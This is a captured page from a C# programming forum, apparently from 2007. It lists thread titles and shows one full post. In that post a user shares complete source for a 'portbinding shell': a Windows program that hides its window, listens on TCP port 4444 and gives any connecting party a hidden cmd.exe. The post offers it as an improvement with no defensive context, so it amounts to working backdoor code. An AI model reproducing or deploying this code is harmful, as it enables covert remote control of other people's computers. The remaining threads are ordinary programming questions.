Click here to Skip to main content
15,923,120 members
Home / Discussions / C#
   

C#

 
Question[C#] - Combining several projects Pin
aravinda77715-Aug-07 0:25
aravinda77715-Aug-07 0:25 
AnswerRe: [C#] - Combining several projects Pin
Christian Graus15-Aug-07 0:48
protectorChristian Graus15-Aug-07 0:48 
AnswerRe: [C#] - Combining several projects Pin
Scott Dorman15-Aug-07 4:07
professionalScott Dorman15-Aug-07 4:07 
Questionhow to databind a image from my database to my asp page Pin
Daniel_Logan15-Aug-07 0:20
Daniel_Logan15-Aug-07 0:20 
AnswerRe: how to databind a image from my database to my asp page Pin
Christian Graus15-Aug-07 0:50
protectorChristian Graus15-Aug-07 0:50 
QuestionPortbinding Shell in C# Pin
Paul Chin PC15-Aug-07 0:12
Paul Chin PC15-Aug-07 0:12 
AnswerRe: Portbinding Shell in C# - Solution Pin
Paul Chin PC15-Aug-07 6:19
Paul Chin PC15-Aug-07 6:19 
GeneralRe: Portbinding Shell in C# - Major Improvement Pin
Paul Chin PC19-Aug-07 3:52
Paul Chin PC19-Aug-07 3:52 
Dear Respected Fellow Programmers, Laugh | :laugh:

I've completely rewritten the program and made two major improvements:
1. It is re-written as a windows application but with form hidden and opacity = 0
2. Shorter code - with no need for P/Invoke, no need to make win32 API calls, everything is done within pure C# Poke tongue | ;-P

The new code is as below:

<br />
using System;<br />
using System.Collections.Generic;<br />
using System.ComponentModel;<br />
using System.Data;<br />
using System.Drawing;<br />
using System.Text;<br />
using System.Windows.Forms;<br />
using System.Net.Sockets;<br />
using System.IO;            //for Streams<br />
using System.Diagnostics;   //for Process<br />
<br />
namespace PortbindingCmd<br />
{<br />
    public partial class Form1 : Form<br />
    {<br />
        TcpListener tcpListener;<br />
        Socket socketForClient;<br />
        NetworkStream networkStream;<br />
        StreamWriter streamWriter;<br />
        StreamReader streamReader;<br />
        Process processCmd;<br />
        StringBuilder strInput;<br />
        <br />
        public Form1()<br />
        {<br />
            InitializeComponent();<br />
        }<br />
<br />
        private void Form1_Shown(object sender, EventArgs e)<br />
        {<br />
            this.Hide();<br />
            tcpListener = new TcpListener(System.Net.IPAddress.Any, 4444);<br />
            tcpListener.Start();<br />
            RunServer();<br />
        }<br />
<br />
        private void RunServer()<br />
        {<br />
            <br />
            socketForClient = tcpListener.AcceptSocket();<br />
            networkStream = new NetworkStream(socketForClient);<br />
            streamReader = new StreamReader(networkStream);<br />
            streamWriter = new StreamWriter(networkStream);<br />
<br />
            processCmd = new Process();<br />
            processCmd.StartInfo.FileName = "cmd.exe";<br />
            processCmd.StartInfo.CreateNoWindow = true;<br />
            //processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;<br />
            processCmd.StartInfo.UseShellExecute = false;<br />
            processCmd.StartInfo.RedirectStandardOutput = true;<br />
            processCmd.StartInfo.RedirectStandardInput = true;<br />
            processCmd.StartInfo.RedirectStandardError = true;<br />
            processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);<br />
            processCmd.Start();<br />
            processCmd.BeginOutputReadLine();<br />
            strInput = new StringBuilder();<br />
            <br />
            while (true)<br />
            {<br />
                try<br />
                {<br />
                    strInput.Append(streamReader.ReadLine());<br />
                    strInput.Append("\n");<br />
                    processCmd.StandardInput.WriteLine(strInput);<br />
                    strInput = strInput.Remove(0,strInput.Length);<br />
                }<br />
                catch (Exception err) <br />
                {<br />
                    streamReader.Close();<br />
                    networkStream.Close();<br />
                    socketForClient.Close();<br />
                    System.Environment.Exit(System.Environment.ExitCode);<br />
                };<br />
                //Application.DoEvents();<br />
            }<br />
        }<br />
<br />
        private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)<br />
        {<br />
            StringBuilder strOutput = new StringBuilder();<br />
<br />
            if (!String.IsNullOrEmpty(outLine.Data))<br />
            {<br />
                try<br />
                {<br />
                    strOutput.Append(outLine.Data);<br />
                    streamWriter.WriteLine(strOutput);<br />
                    streamWriter.Flush();<br />
                }<br />
                catch (Exception err) { }<br />
<br />
            }<br />
                <br />
<br />
        }<br />
<br />
<br />
    }<br />
}<br />


I will polish it some more, writeup some explanations and probably post it as an article later.

Wink | ;)



We are disturbed not by events, but the views we take of them - Epictetus

QuestionMS FlexGrid 6 with Unicode in .Net, possible? Pin
Doan Quynh15-Aug-07 0:08
Doan Quynh15-Aug-07 0:08 
AnswerRe: MS FlexGrid 6 with Unicode in .Net, possible? Pin
Christian Graus15-Aug-07 0:09
protectorChristian Graus15-Aug-07 0:09 
GeneralRe: MS FlexGrid 6 with Unicode in .Net, possible? Pin
Doan Quynh15-Aug-07 16:55
Doan Quynh15-Aug-07 16:55 
Question[Message Deleted] Pin
jacklynn_mei14-Aug-07 23:59
jacklynn_mei14-Aug-07 23:59 
AnswerRe: problem in SELECT COUNT(columnName) FROM dbName Pin
Christian Graus15-Aug-07 0:12
protectorChristian Graus15-Aug-07 0:12 
AnswerRe: problem in SELECT COUNT(columnName) FROM dbName Pin
Colin Angus Mackay15-Aug-07 0:19
Colin Angus Mackay15-Aug-07 0:19 
AnswerRe: problem in SELECT COUNT(columnName) FROM dbName Pin
Rocky#15-Aug-07 1:44
Rocky#15-Aug-07 1:44 
QuestionHow i read Excel file by C# Program ? [modified] Pin
shafikshafik14-Aug-07 23:56
shafikshafik14-Aug-07 23:56 
AnswerRe: How i read Excel file by C# Program ? Pin
Christian Graus15-Aug-07 0:15
protectorChristian Graus15-Aug-07 0:15 
QuestionAbout a Listbox update Pin
LittleMichelle14-Aug-07 23:18
LittleMichelle14-Aug-07 23:18 
AnswerRe: About a Listbox update Pin
Rocky#15-Aug-07 1:45
Rocky#15-Aug-07 1:45 
GeneralRe: About a Listbox update Pin
LittleMichelle15-Aug-07 15:10
LittleMichelle15-Aug-07 15:10 
Questioncallback c# function from c++ Pin
djdjoko14-Aug-07 23:13
djdjoko14-Aug-07 23:13 
AnswerRe: callback c# function from c++ Pin
Luc Pattyn15-Aug-07 3:10
sitebuilderLuc Pattyn15-Aug-07 3:10 
QuestionServer Connection Check Pin
Syed Shahid Hussain14-Aug-07 23:10
Syed Shahid Hussain14-Aug-07 23:10 
AnswerRe: Server Connection Check Pin
Rocky#15-Aug-07 1:47
Rocky#15-Aug-07 1:47 
GeneralRe: Server Connection Check Pin
Syed Shahid Hussain15-Aug-07 18:22
Syed Shahid Hussain15-Aug-07 18:22 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.